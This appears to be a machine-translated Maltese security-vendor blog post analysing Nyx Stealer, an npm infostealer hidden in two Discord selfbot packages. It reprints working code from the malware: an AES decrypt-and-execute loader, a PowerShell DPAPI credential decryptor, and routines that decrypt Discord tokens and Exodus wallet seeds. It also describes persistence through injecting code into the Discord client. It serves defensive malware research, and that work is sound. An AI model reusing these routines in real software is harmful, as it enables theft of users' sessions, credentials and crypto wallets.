Ħalliel tal-Informazzjoni npm

Skoperta ġdida ta' Infostealer npm: Nyx ​​Stealer jaħtaf Sessjonijiet ta' Discord

TL; DR

It-Tim ta' Riċerka dwar is-Sigurtà ta' Xygeni identifika kampanja sofistikata ta' infostealer npm imwassla permezz ta' żewġ pakketti malizzjużi: konsollofy u, selfbot-lofy.

L-aħħar verżjoni (consolelofy@1.3.0) jinkorpora payload kriptat bl-AES ta' 216KB li jiddekripta waqt ir-runtime u jesegwixxi permezz ta' vm.runInNewContext()Minħabba li l-loġika malizzjuża hija kompletament kriptata, skanners statiċi li jiddependu fuq spezzjoni ta' strings ma jistgħux josservaw l-imġieba tagħha qabel il-ħin tal-eżekuzzjoni.

Ladarba jiġi deċifrat, il-payload, immarkat internament Nyx Stealer, miri:

  • Tokens tal-awtentikazzjoni tad-Discord
  • Aktar minn 50 ħanut tal-kredenzjali tal-browser
  • Aktar minn 90 estensjoni tal-kartiera tal-kriptomunita
  • Sessjonijiet ta' Roblox, Instagram, Spotify, Steam, Telegram, u TikTok
  • Persistenza tal-klijent tad-desktop Discord

L-20 verżjoni kollha fiż-żewġ pakketti ġew irrappurtati u kkonfermati bħala malizzjużi.

Ħarsa Ġenerali Teknika ta' Dan l-Infostealer tal-npm

B'differenza mill-malware tradizzjonali li jiġi installat fil-ħin, din il-kampanja tiddependi fuq runtime mudell ta' deċifrazzjoni.

Hemm:

  • L-ebda malizzjuż preinstall or postinstall hooks
  • L-ebda sejħiet ovvji tan-netwerk fil-ħin tal-installazzjoni
  • L-ebda loġika ta' ġbir ta' kredenzjali b'test sempliċi

Il-payload jiġi attivat meta l-modulu jiġi importat. Il-korp malizzjuż kollu jiġi kriptat u jimmaterjalizza biss fil-memorja waqt l-eżekuzzjoni.

Dan id-disinn jevita speċifikament li jiġi skopert waqt l-installazzjoni tal-pakkett.

Kif Dan l-Infostealer tal-npm Fil-fatt Jeżegwixxi

Qabel ma nanalizzaw x'jisraq Nyx Stealer, irridu nifhmu kif tesegwixxi.

Il-loġika malizzjuża ġewwa dan l-infostealer npm issegwi mudell konsistenti:

Loader żgħir jiddeċifra payload kriptat kbir u jesegwixxih b'mod dinamiku f'kuntest ta' VM Node.js.

Dan id-disinn huwa intenzjonat. L-attakkant mhux qed jaħbi l-funzjonalità wara l-offuskazzjoni biss, iżda qed it-tneħħija tal-kodiċi malizzjuż mill-viżibilità statika għalkollox.

Mudell ta' Eżekuzzjoni ta' Livell Għoli

F'livell għoli, il-wrapper jagħmel erba' affarijiet:

  • Jikseb ċavetta AES minn passphrase hardcoded bl-użu ta' SHA-256
  • Jiddeċifra test ċifrat kbir ikkodifikat b'eżagonali bl-użu ta' AES-256-CBC
  • Eżegwixxi l-JavaScript deċifrat bl-użu ta' vm.runInNewContext()
  • Jipprovdi sandbox li xorta jesponi primittivi qawwija ta' runtime

Sommarju tat-Teknika Ewlenija

Komponent Konfigurazzjoni / Valur
Algoritmu AES-256-CBC
Derivazzjoni Ewlenin SHA-256 (frażi ewlenija)
Vettur tal-Inizjalizzazzjoni (IV) 16-il byte ta' 0x00
Eżekuzzjoni vm.runInNewContext(deċifrat, sandbox)

Kritikament, ir-ramel jgħaddi minn:

  • require
  • process
  • Buffer
  • tajmers
  • esportazzjonijiet tal-moduli

Dan ifisser li l-payload deċifrat iżomm il-kapaċità sħiħa li:

  • Proċessi ta' tnissil
  • Aqra u ikteb fajls
  • Agħmel telefonati tan-netwerk
  • Immodifika l-applikazzjonijiet lokali

Din mhijiex VM ristretta. Hija VM użata bħala trampolin ta' eżekuzzjoni.

Mudell ta' Kriptaġġ ta' Runtime (Mekkaniżmu ta' Eżekuzzjoni Prinċipali)

Il-loader huwa żgħir.
Il-ġisem malizzjuż mhux.

Hawn taħt tinsab il-mudell ta' eżekuzzjoni li jinsab ġewwa l-pakkett:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Għaliex Dan Kwistjonijiet

Il-payload deċifrat:

  • Il mhux jeżistu f'test sempliċi ġewwa l-pakkett npm
  • Huwa inviżibbli għal sempliċi grep jew skennjar statiku ta' kordi
  • Jimmaterjalizza biss fil-memorja waqt l-eżekuzzjoni
  • Eżegwixxi bil-kapaċitajiet sħaħ tan-Node runtime

Din il-kombinazzjoni ta' eżekuzzjoni AES + VM hija indikatur qawwi tal-imġiba ta' infostealer npm jipprova jevadi spezzjoni statika.

Fi kliem ieħor:

Jekk tiskennja s-siġra tas-sors tal-pakkett, ma tarax ħalliel.
Tara dekriptatur.

X'jiġri wara d-Deċifrazzjoni

Ladarba jiġi eżegwit, Nyx Stealer iniedi mewġ parallel ta' ġbir ta' dejta.

Mewġa 1: Estrazzjoni tal-Kredenzjali tal-Browser

Il-malware:

  • Niżżel runtime ta' Python minn NuGet CDN
  • Jinstalla libreriji kriptografiċi
  • Estratti ħwienet tal-kredenzjali bbażati fuq il-kromju
  • Jiddeċifra sigrieti protetti bid-DPAPI

Minflok ma jikkompila rbit nattiv, juża PowerShell biex isejjaħ il-Windows DPAPI direttament.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Dan l-approċċ:

  • Jevita artefatti tal-kumpilazzjoni
  • Juża l-APIs tal-kripto nattivi tal-Windows
  • Jitħallat ma' għodda amministrattiva

Hija deċifrazzjoni tal-kredenzjali fil-livell tal-OS, mhux scraping.

Mewġa 2: Deċifrar tat-Token tad-Discord

L-stealer huwa konxju tal-protokoll. Jifhem il-format tat-token kriptat ta' Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Fluss operattiv:

  • Estrai l-master key minn Discord Local State
  • Iddeċifra ċ-ċavetta ewlenija permezz tad-DPAPI
  • Iddeċifra l-blobs tat-tokens AES-GCM
  • Ivvalida t-tokens kontra l-API tad-Discord
  • Arrikkixxi b'Nitro, badges, informazzjoni tal-kontijiet

Dan mhux dumping ġeneriku tal-kredenzjali. Huwa ħtif ta' sessjoni konxju tal-protokoll.

Mewġa 3: Immirar lejn Kartieri tal-Kriptomunita

L-infostealer tal-npm jelenka:

  • Aktar minn 90 estensjoni tal-kartiera tal-browser
  • 27 kartiera tad-desktop
  • Mogħdijiet tal-kartiera kiesħa
  • Fajls taż-żerriegħa tal-Eżodu

Eżempju ta' tentattiv ta' deċifrazzjoni tas-żerriegħa:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Jekk jirnexxi, il-kompromess tal-kartiera jkun immedjat u irriversibbli.

Dan jirrappreżenta l-vettur ta' monetizzazzjoni bl-ogħla valur tal-kampanja.

Persistenza permezz ta' Discord Desktop Injection

Wara li jiġbor il-kredenzjali, Nyx Stealer jipprova l-persistenza billi jimmodifika l-kodiċi lokali Diskord klijent.

mira:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Sekwenza Operattiva

L-infostealer iwettaq il-passi li ġejjin:

  • Ittemm il-proċessi ta' Discord li jkunu għaddejjin
  • Isib varjanti ta' Discord installati (Stable, Canary, PTB)
  • Jissostitwixxi discord_desktop_core/index.js
  • Jinjetta loġika tal-webhook ikkontrollata mill-attakkant
  • Jerġa' jibda Discord

Dan jiżgura li sessjonijiet futuri ta' Discord awtomatikament inixxu tokens ta' awtentikazzjoni ġodda.

Importanti, din il-persistenza ma tiddependix fuq kompiti skedati jew modifiki fir-reġistru. Tisfrutta l-modifika tal-kodiċi fil-livell tal-applikazzjoni, approċċ aktar diskret.

Anke jekk il-pakkett npm malizzjuż jitneħħa aktar tard, il-klijent Discord jibqa' kompromess.

Paragun Tekniku: Selfbot Leġittimu vs npm Infostealer

Komponent Librerija Leġittima Nyx npm Infostealer
Encryption Xejn Pagament sħiħ kriptat bl-AES
VM tar-Runtime Mhux meħtieġa vm.runInNewContext eżekuzzjoni
Aċċess għall-Kredenzjali API tad-Discord biss Browser, kartieri, DPAPI
Downloads Esterni Nru Runtime tal-Python permezz ta' NuGet
Persistenza Nru Injezzjoni tal-klijent Discord
monetizzazzjoni Awtomazzjoni tal-bots Bejgħ mill-ġdid ta' kredenzjali

Is-saff tal-kriptaġġ waħdu diġà jissepara din il-kampanja minn fork tipiku ta' sors miftuħ.

Selfbot Discord leġittimu m'għandu l-ebda raġuni biex jikkripta l-bażi tal-kodiċi kollha tiegħu, joħloq PowerShell biex jaċċessa d-DPAPI, iniżżel runtimes esterni, jew jimmodifika l-intern tal-applikazzjoni tad-desktop. Meta dawk il-kapaċitajiet jidhru ġewwa dipendenza li tiddikjara li awtomatizza l-interazzjonijiet ta' Discord, in-nuqqas ta' qbil arkitettoniku jsir impossibbli li jiġi injorat.

Mill-perspettiva ta' investigazzjoni, dan l-infostealer npm iħalli traċċi fuq diversi saffi. Madankollu, l-indikaturi l-aktar affidabbli mhumiex URLs hardcoded jew mogħdijiet speċifiċi ta' fajls, peress li dawn jistgħu jinbidlu bejn il-verżjonijiet. Minflok, is-sinjali durabbli huma strutturali.

Fil-livell tal-pakkett, l-aktar bandiera ħamra qawwija hija l-kombinazzjoni ta' payload kriptat kbir u wrapper ta' dekriptaġġ f'ħin ta' eżekuzzjoni li jesegwixxi immedjatament permezz ta' vm.runInNewContext()Filwaqt li l-kriptaġġ waħdu mhuwiex intrinsikament malizzjuż, l-użu tad-dekriptaġġ AES segwit minn eżekuzzjoni dinamika ta' VM ġewwa pakkett ta' utilità Discord huwa anomalu ħafna.

Fil-livell tal-host, mudelli suspettużi jinkludu attività mhux mistennija ta' deċifrar tad-DPAPI, proċess li jinbet minn kuntest ta' dipendenza Node.js, u modifika ta' fajls ta' applikazzjoni lokali li qatt m'għandhom jinbidlu minn libreriji ta' partijiet terzi. Bl-istess mod, fis-saff tan-netwerk, komunikazzjoni 'l barra fl-istil ta' webhook mibdija minn dipendenza ta' żvilupp tirrappreżenta anomalija oħra sinifikanti.

Fi kliem ieħor, il-wiċċ ta' skoperta mhuwiex indikatur wieħed ta' kompromess. Hija l-korrelazzjoni tal-kriptaġġ, l-eżekuzzjoni tar-runtime, l-aċċess għall-kredenzjali, u l-imġiba tal-persistenza li tiżvela t-theddida.

Sejbien u Mitigazzjoni b'Xygeni

Ħalliel tal-Informazzjoni npm

Dan l-infostealer tal-npm ġie identifikat minn Twissija Bikrija ta' Malware ta' Xygeni (MEW) permezz ta' korrelazzjoni komportamentali f'saffi aktar milli tqabbil sempliċi ta' firma.

Minflok ma jfittex għal kordi malizzjużi magħrufa, MEW jevalwa anomaliji strutturali fis-siġra tas-sors sħiħa. F'dan il-każ, l-iskoperta ħarġet mill-konverġenza ta' diversi sinjali: rutina ta' deċifrazzjoni AES inkorporata fil-punt tad-dħul tal-modulu, eżekuzzjoni immedjata f'kuntest ta' VM, u nuqqas ta' qbil ċar bejn il-kapaċità u l-intenzjoni.

Importanti, l-ebda minn dawn is-sinjali waħedhom ma juru intenzjoni malizzjuża. Madankollu, meta jiġu analizzati flimkien, dawn jikxfu tentattiv biex jinħeba l-imġiba waqt l-eżekuzzjoni. Dan l-approċċ f'saffi jnaqqas b'mod sinifikanti r-riżultati pożittivi foloz filwaqt li jidentifika theddidiet ta' fiduċja għolja għall-katina tal-provvista.

Barra minn hekk, dan il-każ juri għaliex l-ispezzjoni fil-ħin tal-installazzjoni waħedha mhijiex biżżejjed. Il-loġika malizzjuża ma tirrisjedix fl-iskripts taċ-ċiklu tal-ħajja. Din tiġi attivata biss wara li jitgħabba l-modulu u ssir viżibbli biss ladarba tiġi deċifrata fil-memorja. Għalhekk, difiża effettiva teħtieġ analiżi konxja mill-kriptaġġ, rikonoxximent ta' mudelli ta' mġiba, u monitoraġġ kontinwu tad-dipendenza lil hinn mill-avvenimenti tal-installazzjoni.

It-tneħħija tar-reġistru hija reattiva. L-analiżi konxja mir-runtime hija preventiva.

Għaliex Dan l-Infostealer tal-npm Huwa Importanti

Nyx Stealer jirrappreżenta evoluzzjoni strutturali fil-malware bbażat fuq npm.

Storikament, ħafna pakketti malizzjużi kienu jiddependu fuq skripts viżibbli fil-ħin tal-installazzjoni jew endpoints ovvji ta' esfiltrazzjoni ta' kredenzjali. B'kuntrast, din il-kampanja tikkripta l-payload tagħha, tipposponi l-eżekuzzjoni għar-runtime, tuża APIs leġittimi tas-sistema operattiva, u tistabbilixxi persistenza ġewwa applikazzjonijiet fdati.

Konsegwentement, l-attakkant m'għandux għalfejn jisfrutta l-infrastruttura npm innifisha. Minflok, l-attakk jirnexxi għaliex l-installazzjoni tad-dipendenza timplika fiduċja. L-iżviluppaturi jassumu li l-importazzjoni ta' librerija hija operazzjoni sikura, partikolarment meta tippreżenta ruħha bħala fork plawżibbli ta' għodda popolari.

Hekk kif l-ekosistemi jkomplu jikbru u l-forks jipproliferaw, dik il-konfini ta' fiduċja impliċita ssir wiċċ ta' attakk dejjem aktar attraenti. Għalhekk, id-difiża kontra l-infostealers moderni tal-npm teħtieġ li jiġu rikonoxxuti mudelli arkitettoniċi aktar milli tfittex kordi statiċi.

Fl-aħħar mill-aħħar, din il-kampanja ssaħħaħ lezzjoni kritika dwar software supply chain securityL-aktar theddid perikoluż mhumiex dawk li jidhru malizzjużi mal-ewwel daqqa t'għajn, iżda dawk li jidhru strutturalment leġittimi sakemm ir-runtime jiżvela l-imġieba vera tagħhom.

sca-tools-software-composition-analysis-tools
Prijoritizza, irranġa, u assigura r-riskji tas-softwer tiegħek
Ikseb il-Kont B'Xejn tiegħek.
Mhix meħtieġa karta ta 'kreditu.

Assigura l-Iżvilupp u l-Kunsinna tas-Softwer tiegħek

bis-Suite tal-Prodotti Xygeni